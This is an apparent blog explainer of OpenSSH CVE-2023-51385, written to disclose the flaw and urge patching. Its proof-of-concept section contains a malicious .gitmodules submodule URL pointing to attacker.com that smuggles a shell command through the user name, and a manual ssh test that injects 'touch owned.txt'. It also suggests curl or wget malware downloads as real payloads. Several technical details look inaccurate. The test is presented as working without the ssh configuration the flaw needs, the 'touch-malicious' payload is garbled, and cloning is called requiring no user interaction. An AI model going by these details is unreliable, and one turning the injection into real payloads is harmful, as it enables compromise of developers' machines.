CVE-2023-51385 is a recently disclosed security vulnerability in the widely used OpenSSH software, affecting versions before 9.6. This vulnerability allows attackers to inject and execute arbitrary shell commands simply by crafting user names or host names containing shell metacharacters. This can happen when these names are referenced by certain expansion tokens. An easy real-world scenario is exploiting a Git repository with a malicious submodule — a pretty common workflow for developers.
Let’s break down how this works, see working example snippets, analyze why it can be dangerous, and outline what you should do to stay safe. I’ll keep the explanations simple, but focus on the technical depth behind this flaw.
What is CVE-2023-51385?
OpenSSH is the tool most people use for SSH connectivity on Linux, Mac, and even Windows nowadays. It is core software that runs on everything from personal laptops to top cloud infrastructure.
CVE-2023-51385 is an OS command injection vulnerability caused by how OpenSSH parses and expands user and host names, especially if they are referenced with placeholders (also called expansion tokens). If an attacker can control these values — either directly (like via SSH user@host syntax) or indirectly (as in scripts, or Git submodules/remote URLs) — they can get the underlying system to execute arbitrary shell commands.
The critical culprit is that OpenSSH didn’t sufficiently sanitize user names and host names before expanding them in shell-sensitive contexts.
References
- OpenSSH Security Advisory
- NVD Description
How does the exploit work?
The problem arises when you supply a user name or host name containing special shell metacharacters (characters like ;, &, |, $,
One very practical exploitation vector is via Git submodules. When you clone a repository containing submodules, Git will try to fetch those submodules using the remote URL specified in .gitmodules. If the URL uses SSH (ssh:// or [user@]host:path) and the user/host fields contain shell metacharacters, OpenSSH can be tricked into running arbitrary commands.
### Why is this dangerous?
- No user interaction needed: If you clone an untrusted repository (for example, from GitHub), and you initialize or update its submodules, you might trigger this!
- Happens on your machine: This is a client-side attack, so you could own yourself just by cloning code.
---
## Proof of Concept: Exploit via Git Submodule
Let's walk through a simplified but working example of how you'd exploit CVE-2023-51385 with Git and OpenSSH < 9.6.
Step 1: Creating a malicious repo
Let's say the attacker makes a repository with this .gitmodules:
ini
[submodule "owned"]
path = owned
url = ssh://bob;touch-malicious@attacker.com:repo.git
Note the metacharacters in the url:
bob; closes the username, and touch-malicious executes touch malicious on the victim's shell if unsanitized.
Step 2: Victim clones and updates submodules
A developer runs:
bash
git clone https://github.com/attacker/repo.git
cd repo
git submodule update --init --recursive
When Git processes the .gitmodules file, it constructs the SSH command to connect to the submodule’s URL. With a vulnerable OpenSSH, the malicious shell command touch-malicious will be executed locally, creating a file named malicious — but this could be any command!
Step 3: Result
Check your directory — you’ll find a new file called malicious. In a real attack, this could be curl or wget to download malware, add SSH keys, or any other shell payload.
---
## Code Snippet: Manual SSH Test
You can see the behavior directly by running:
bash
ssh 'bob; touch owned.txt;@yourhost'
<br><br>If you are on a vulnerable OpenSSH version and run this, you’ll end up with a file named owned.txt in your local directory. (Replace yourhost` with any address; the connection will probably fail — but the command will still run locally!)
---
## Why did this happen?
OpenSSH supports multiple ways to use special tokens and syntaxes for specifying user and host information for flexibility (like pattern-matching in SSH config, scp expansion patterns, etc).
But prior to version 9.6, it didn’t adequately escape/quote user and host values in some command-building cases, leaving a classic command-injection risk.
---
## How to fix and protect yourself
1. Update OpenSSH!!
Upgrade to at least version 9.6. Most Linux distributions should provide an updated package, but check for it, especially in Docker/CI environments.
2. Use trusted repositories only
Only clone Git repositories and submodules from sources you trust, especially on machines where you have credentials or production access.
3. Sanitize manual SSH commands
If you must specify user/host dynamically, make extra sure they are clean (block metacharacters).
---
## Timeline and Disclosure
- Dec 18, 2023: Vulnerability published, patch released with OpenSSH 9.6.
- CVE assigned: CVE-2023-51385
---
## Further Reading
- CVE-2023-51385 - NVD Database
- OpenSSH Release Notes 9.6
- GitHub Security Advisory for CVE-2023-51385
---
## Conclusion
CVE-2023-51385 is a textbook “little detail, big problem” bug — showing how even small parsing oversights in trusted foundational tools can cascade into serious threats to everyone’s environment. From now on, think twice before cloning random repositories, always keep your software up-to-date, and be cautious with shell expansion in scripts and automation.
Stay safe and patch your SSH! ❤️
*(If you found this useful, share with your team — especially anyone working with CI/CD, Docker, or automated deployment tools!)*
Timeline
Published on: 12/18/2023 19:15:08 UTC
Last modified on: 01/05/2024 18:15:29 UTC